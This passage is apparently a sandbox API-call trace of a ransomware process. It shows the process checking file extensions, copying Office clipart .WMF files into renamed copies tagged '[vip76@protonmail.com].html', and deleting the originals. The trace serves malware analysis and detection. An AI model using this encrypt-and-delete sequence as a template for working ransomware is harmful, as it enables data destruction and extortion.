	[0190.512] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.512] lstrlenW (lpString=".ppt") returned 4
	[0190.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.512] lstrlenW (lpString=".zip") returned 4
	[0190.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.512] lstrlenW (lpString=".rar") returned 4
	[0190.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.512] lstrlenW (lpString=".bz2") returned 4
	[0190.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.512] lstrlenW (lpString=".7z") returned 3
	[0190.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.512] lstrlenW (lpString=".dbf") returned 4
	[0190.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.512] lstrlenW (lpString=".1cd") returned 4
	[0190.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.512] lstrlenW (lpString=".jpg") returned 4
	[0190.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.512] lstrlenW (lpString=".doc") returned 4
	[0190.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.513] lstrlenW (lpString=".docx") returned 5
	[0190.513] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0190.513] lstrlenW (lpString=".pdf") returned 4
	[0190.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.513] lstrlenW (lpString=".xls") returned 4
	[0190.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.513] lstrlenW (lpString=".xlsx") returned 5
	[0190.513] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0190.513] lstrlenW (lpString=".ppt") returned 4
	[0190.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.513] lstrlenW (lpString=".zip") returned 4
	[0190.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.513] lstrlenW (lpString=".rar") returned 4
	[0190.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.513] lstrlenW (lpString=".bz2") returned 4
	[0190.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.513] lstrlenW (lpString=".7z") returned 3
	[0190.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.513] lstrlenW (lpString=".dbf") returned 4
	[0190.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.513] lstrlenW (lpString=".1cd") returned 4
	[0190.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0190.513] lstrlenW (lpString=".jpg") returned 4
	[0190.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.514] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.514] lstrlenW (lpString="J0105286.WMF") returned 12
	[0190.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.514] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=6568) returned 1
	[0190.515] CloseHandle (hObject=0x580) returned 1
	[0190.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220
	[0190.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0190.515] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.515] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0190.516] GetLastError () returned 0x0
	[0190.516] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x19a8, lpOverlapped=0x0) returned 1
	[0190.681] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x19b0, lpOverlapped=0x0) returned 1
	[0190.683] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.683] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.683] SetEndOfFile (hFile=0x5c8) returned 1
	[0190.683] CloseHandle (hObject=0x5c8) returned 1
	[0190.683] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.683] SetEndOfFile (hFile=0x580) returned 1
	[0190.686] CloseHandle (hObject=0x580) returned 1
	[0190.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1
	[0190.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.870] lstrlenW (lpString=".doc") returned 4
	[0190.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.870] lstrlenW (lpString=".docx") returned 5
	[0190.870] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.870] lstrlenW (lpString=".pdf") returned 4
	[0190.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.870] lstrlenW (lpString=".xls") returned 4
	[0190.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.870] lstrlenW (lpString=".xlsx") returned 5
	[0190.870] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.870] lstrlenW (lpString=".ppt") returned 4
	[0190.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.870] lstrlenW (lpString=".zip") returned 4
	[0190.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.870] lstrlenW (lpString=".rar") returned 4
	[0190.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.871] lstrlenW (lpString=".bz2") returned 4
	[0190.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.871] lstrlenW (lpString=".7z") returned 3
	[0190.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.871] lstrlenW (lpString=".dbf") returned 4
	[0190.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.871] lstrlenW (lpString=".1cd") returned 4
	[0190.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.871] lstrlenW (lpString=".jpg") returned 4
	[0190.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.871] lstrlenW (lpString=".doc") returned 4
	[0190.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.871] lstrlenW (lpString=".docx") returned 5
	[0190.871] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0190.871] lstrlenW (lpString=".pdf") returned 4
	[0190.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.871] lstrlenW (lpString=".xls") returned 4
	[0190.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.871] lstrlenW (lpString=".xlsx") returned 5
	[0190.871] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0190.871] lstrlenW (lpString=".ppt") returned 4
	[0190.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.872] lstrlenW (lpString=".zip") returned 4
	[0190.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.872] lstrlenW (lpString=".rar") returned 4
	[0190.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.872] lstrlenW (lpString=".bz2") returned 4
	[0190.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.872] lstrlenW (lpString=".7z") returned 3
	[0190.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.872] lstrlenW (lpString=".dbf") returned 4
	[0190.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.872] lstrlenW (lpString=".1cd") returned 4
	[0190.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0190.872] lstrlenW (lpString=".jpg") returned 4
	[0190.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.872] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.872] lstrlenW (lpString="J0105338.WMF") returned 12
	[0190.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.873] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=11584) returned 1
	[0190.873] CloseHandle (hObject=0x4ac) returned 1
	[0190.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220
	[0190.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.874] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.874] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.874] GetLastError () returned 0x0
	[0190.875] ReadFile (in: hFile=0x4ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x2d40, lpOverlapped=0x0) returned 1
	[0190.877] WriteFile (in: hFile=0x5e8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0190.878] ReadFile (in: hFile=0x4ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.878] WriteFile (in: hFile=0x5e8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.878] SetEndOfFile (hFile=0x5e8) returned 1
	[0190.878] CloseHandle (hObject=0x5e8) returned 1
	[0190.878] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.878] SetEndOfFile (hFile=0x4ac) returned 1
	[0190.882] CloseHandle (hObject=0x4ac) returned 1
	[0190.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1
	[0190.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.883] lstrlenW (lpString=".doc") returned 4
	[0190.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.883] lstrlenW (lpString=".docx") returned 5
	[0190.884] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.884] lstrlenW (lpString=".pdf") returned 4
	[0190.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.884] lstrlenW (lpString=".xls") returned 4
	[0190.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.884] lstrlenW (lpString=".xlsx") returned 5
	[0190.884] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.884] lstrlenW (lpString=".ppt") returned 4
	[0190.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.884] lstrlenW (lpString=".zip") returned 4
	[0190.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.884] lstrlenW (lpString=".rar") returned 4
	[0190.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.884] lstrlenW (lpString=".bz2") returned 4
	[0190.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.884] lstrlenW (lpString=".7z") returned 3
	[0190.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.884] lstrlenW (lpString=".dbf") returned 4
	[0190.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.884] lstrlenW (lpString=".1cd") returned 4
	[0190.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.884] lstrlenW (lpString=".jpg") returned 4
	[0190.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.885] lstrlenW (lpString=".doc") returned 4
	[0190.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.885] lstrlenW (lpString=".docx") returned 5
	[0190.885] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.885] lstrlenW (lpString=".pdf") returned 4
	[0190.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.885] lstrlenW (lpString=".xls") returned 4
	[0190.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.885] lstrlenW (lpString=".xlsx") returned 5
	[0190.885] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0190.885] lstrlenW (lpString=".ppt") returned 4
	[0190.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.885] lstrlenW (lpString=".zip") returned 4
	[0190.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.885] lstrlenW (lpString=".rar") returned 4
	[0190.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.885] lstrlenW (lpString=".bz2") returned 4
	[0190.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.885] lstrlenW (lpString=".7z") returned 3
	[0190.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.885] lstrlenW (lpString=".dbf") returned 4
	[0190.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.886] lstrlenW (lpString=".1cd") returned 4
	[0190.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0190.886] lstrlenW (lpString=".jpg") returned 4
	[0190.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.886] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0190.886] lstrlenW (lpString="J0105348.WMF") returned 12
	[0190.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.887] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=17060) returned 1
	[0190.887] CloseHandle (hObject=0x4ac) returned 1
	[0190.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220
	[0190.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.889] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.889] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.890] GetLastError () returned 0x0
	[0190.890] ReadFile (in: hFile=0x4ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x42a4, lpOverlapped=0x0) returned 1
	[0190.892] WriteFile (in: hFile=0x5e8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x42b0, lpOverlapped=0x0) returned 1
	[0190.894] ReadFile (in: hFile=0x4ac, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.894] WriteFile (in: hFile=0x5e8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.894] SetEndOfFile (hFile=0x5e8) returned 1
	[0190.894] CloseHandle (hObject=0x5e8) returned 1
	[0190.894] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.894] SetEndOfFile (hFile=0x4ac) returned 1
	[0190.898] CloseHandle (hObject=0x4ac) returned 1
	[0190.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1
	[0190.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0190.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68
	[0190.899] lstrlenW (lpString=".doc") returned 4
	[0190.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.899] lstrlenW (lpString=".docx") returned 5
	[0190.899] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0190.899] lstrlenW (lpString=".pdf") returned 4
	[0190.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.899] lstrlenW (lpString=".xls") returned 4
	[0190.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.899] lstrlenW (lpString=".xlsx") returned 5
